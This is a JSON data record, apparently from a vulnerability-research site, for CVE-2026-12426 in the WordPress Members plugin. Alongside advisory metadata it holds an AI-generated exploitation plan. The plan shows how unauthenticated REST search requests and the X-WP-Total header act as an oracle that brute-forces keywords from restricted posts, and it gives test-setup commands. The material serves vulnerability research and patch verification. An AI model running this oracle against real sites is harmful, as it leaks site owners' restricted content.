[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$ff2iIIF6QJuion0bH0ROOwIkbASHkjcUvB3Z36klNZiI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":36},"CVE-2026-12426","members-unauthenticated-sensitive-information-disclosure-via-rest-api-pagination-side-channel","Members \u003C= 3.2.22 - Unauthenticated Sensitive Information Disclosure via REST API Pagination Side Channel","The Members – Membership & User Role Editor Plugin plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.2.22 via the members_filter_protected_posts_for_rest. This makes it possible for unauthenticated attackers to extract determine the existence and exact count of access-restricted posts, and use per-page pagination as a boolean oracle to infer keywords and content contained within those hidden restricted posts.","members",null,"\u003C=3.2.22","3.2.23","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","Exposure of Sensitive Information to an Unauthorized Actor","2026-07-10 14:07:51","2026-07-11 02:31:19",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F9c3557a6-aa72-496c-8515-2f6055de6b22?source=api-prod",1,[22,23,24,25,26,27,28],"admin\u002Fclass-manage-roles.php","admin\u002Fclass-meta-box-content-permissions.php","css\u002Fadmin.css","css\u002Fadmin.min.css","inc\u002Fclass-widget-login.php","inc\u002Ffunctions-capabilities.php","inc\u002Ffunctions-content-permissions.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-12426 (Members Plugin)\n\n## 1. Vulnerability Summary\nThe **Members – Membership & User Role Editor** plugin (\u003C= 3.2.22) for WordPress contains a sensitive information disclosure vulnerability. The vulnerability arises because the plugin's REST API filtering logic, specifically within the `members_filter_protected_posts_for_rest` function (hooked into REST responses), fails to account for the metadata headers returned by WordPress. \n\nWhile the plugin may successfully strip the *content* of a post from the JSON response if a user lacks the required roles, it does not modify the `X-WP-Total` and `X-WP-TotalPages` HTTP headers. These headers are calculated based on the initial `WP_Query` results. An unauthenticated attacker can use the `search` parameter to perform a \"Boolean Search Oracle\" attack, determining if specific keywords exist within restricted\u002Fprivate content by observing changes in the total post count reported in the headers.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts` (Default) or any custom post type registered as `show_in_rest => true`.\n- **Method:** `GET`\n- **Vulnerable Component:** `members_filter_protected_posts_for_rest` (Filter on REST response).\n- **Attack Payload:** `?search=KEYWORD&per_page=1`\n- **Authentication:** Unauthenticated (PR:N).\n- **Preconditions:** At least one post must be restricted using the \"Members\" Content Permissions meta box (stored in `_members_access_role` meta).\n\n## 3. Code Flow\n1.  **Request Initiation:** An unauthenticated user sends a GET request to `\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts?search=secret`.\n2.  **Core Query:** WordPress executes `WP_REST_Posts_Controller::get_items()`. This triggers a `WP_Query` for all published posts containing \"secret\".\n3.  **Header Generation:** WordPress calculates the total number of matches and populates the `X-WP-Total` header.\n4.  **Plugin Intervention:** The plugin's `members_filter_protected_posts_for_rest` (inferred name from description) intercept the collection of post objects.\n5.  **Permission Check:** For each post, the plugin calls `members_can_current_user_view_post( $post_id )`.\n6.  **Information Leak:** If the user is unauthenticated, the plugin removes the post data from the JSON body. However, the `X-WP-Total` header remains unchanged from the count calculated in step 3.\n\n## 4. Nonce Acquisition Strategy\nThe standard WordPress REST API `GET` requests for public post types (like `posts` and `pages`) do **not** require a nonce for unauthenticated access. \n\nHowever, if the target site has restricted the REST API to authenticated users only, a nonce for the `wp_rest` action would be required.\n- **Strategy:**\n    1. Identify the plugin's \"Login Form\" widget or shortcode which might enqueue scripts.\n    2. Create a page with the shortcode: `wp post create --post_type=page --post_status=publish --post_content='[members_login_form]'`\n    3. Navigate to the page using `browser_navigate`.\n    4. Since the `Manage_Roles` class enqueues `members-admin`, check for localized data:\n       `browser_eval(\"window.members_admin?.nonce\")` (inferred key).\n- **Note:** In most default WordPress configurations, this exploit is **nonce-less**.\n\n## 5. Exploitation Strategy\nThe goal is to use the `X-WP-Total` header as a side-channel to leak content from a restricted post.\n\n### Step 1: Baseline Check\nDetermine the current count of public posts.\n- **Request:** `GET \u002Fwp-json\u002Fwp\u002Fv2\u002Fposts?per_page=1`\n- **Tool:** `http_request`\n- **Expected:** `X-WP-Total: [N]` (where N is the count of public posts).\n\n### Step 2: Content Existence Oracle\nCheck if a specific \"flag\" (secret keyword) exists within any post (including restricted ones).\n- **Request:** `GET \u002Fwp-json\u002Fwp\u002Fv2\u002Fposts?search=FLAG_VALUE&per_page=1`\n- **Tool:** `http_request`\n- **Observation:** If `X-WP-Total` is greater than 0, but the JSON body `[]` is empty, the keyword exists **only** in restricted posts.\n\n### Step 3: Exact Count Extraction\nIf searching for a common word, the `X-WP-Total` header reveals exactly how many restricted posts contain that word.\n\n### Step 4: Content Brute-forcing (Oracle)\nTo extract a secret string (e.g., a \"token\" in a protected post):\n1. Request `?search=token_a` -> `X-WP-Total: 0`\n2. Request `?search=token_b` -> `X-WP-Total: 1`\n3. Result: The token starts with \"b\".\n\n## 6. Test Data Setup\nPerform the following using `wp-cli`:\n1. **Enable Plugin:** Ensure `members` is active.\n2. **Create Restricted Role:** `wp role create restricted_member \"Restricted Member\"`\n3. **Create Restricted Post:**\n   ```bash\n   wp post create --post_type=post --post_title=\"Restricted Sensitive Info\" --post_content=\"The vault code is BlueMonkey77\" --post_status=publish\n   ```\n4. **Apply Restrictions:**\n   Get the ID of the new post and apply the meta to restrict it to the `restricted_member` role:\n   ```bash\n   wp post meta add [POST_ID] _members_access_role restricted_member\n   ```\n5. **Create Public Post:**\n   ```bash\n   wp post create --post_type=post --post_title=\"Public Welcome\" --post_content=\"Welcome to the site\" --post_status=publish\n   ```\n\n## 7. Expected Results\n- **Normal Request:** `GET \u002Fwp-json\u002Fwp\u002Fv2\u002Fposts?search=Welcome` returns `X-WP-Total: 1` and the post content in the body.\n- **Exploit Request:** `GET \u002Fwp-json\u002Fwp\u002Fv2\u002Fposts?search=BlueMonkey77` returns `X-WP-Total: 1` but an **empty body** `[]`.\n- **Confirmation:** The attacker now knows \"BlueMonkey77\" exists in a restricted post, which is a clear information disclosure.\n\n## 8. Verification Steps\n1.  **Header Check:** Verify the `X-WP-Total` header is present and reflects the restricted post count.\n    ```bash\n    # After running the exploit tool\n    Check if (response.headers['X-WP-Total'] == '1' && response.body == '[]')\n    ```\n2.  **Verify Meta:** Ensure the post is truly restricted.\n    ```bash\n    wp post meta get [POST_ID] _members_access_role\n    ```\n\n## 9. Alternative Approaches\n- **Author ID Discovery:** If posts are restricted by author, use `?author=1`, `?author=2` to see counts of restricted posts per author.\n- **Categorization Leak:** Use `?categories=[ID]` to determine if restricted posts exist within specific sensitive categories.\n- **Pagination Oracle:** If `X-WP-Total` is suppressed by another plugin, use `?page=X`. If `page=1` returns 200 OK but `page=2` returns 400 Bad Request, the attacker can still binary-search the total count of matching restricted items.","gemini-3-flash-preview","2026-07-15 09:41:44","2026-07-15 09:42:27",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","3.2.22","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmembers\u002Ftags\u002F3.2.22","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmembers.3.2.22.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmembers\u002Ftags\u002F3.2.23","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmembers.3.2.23.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmembers\u002Ftags"]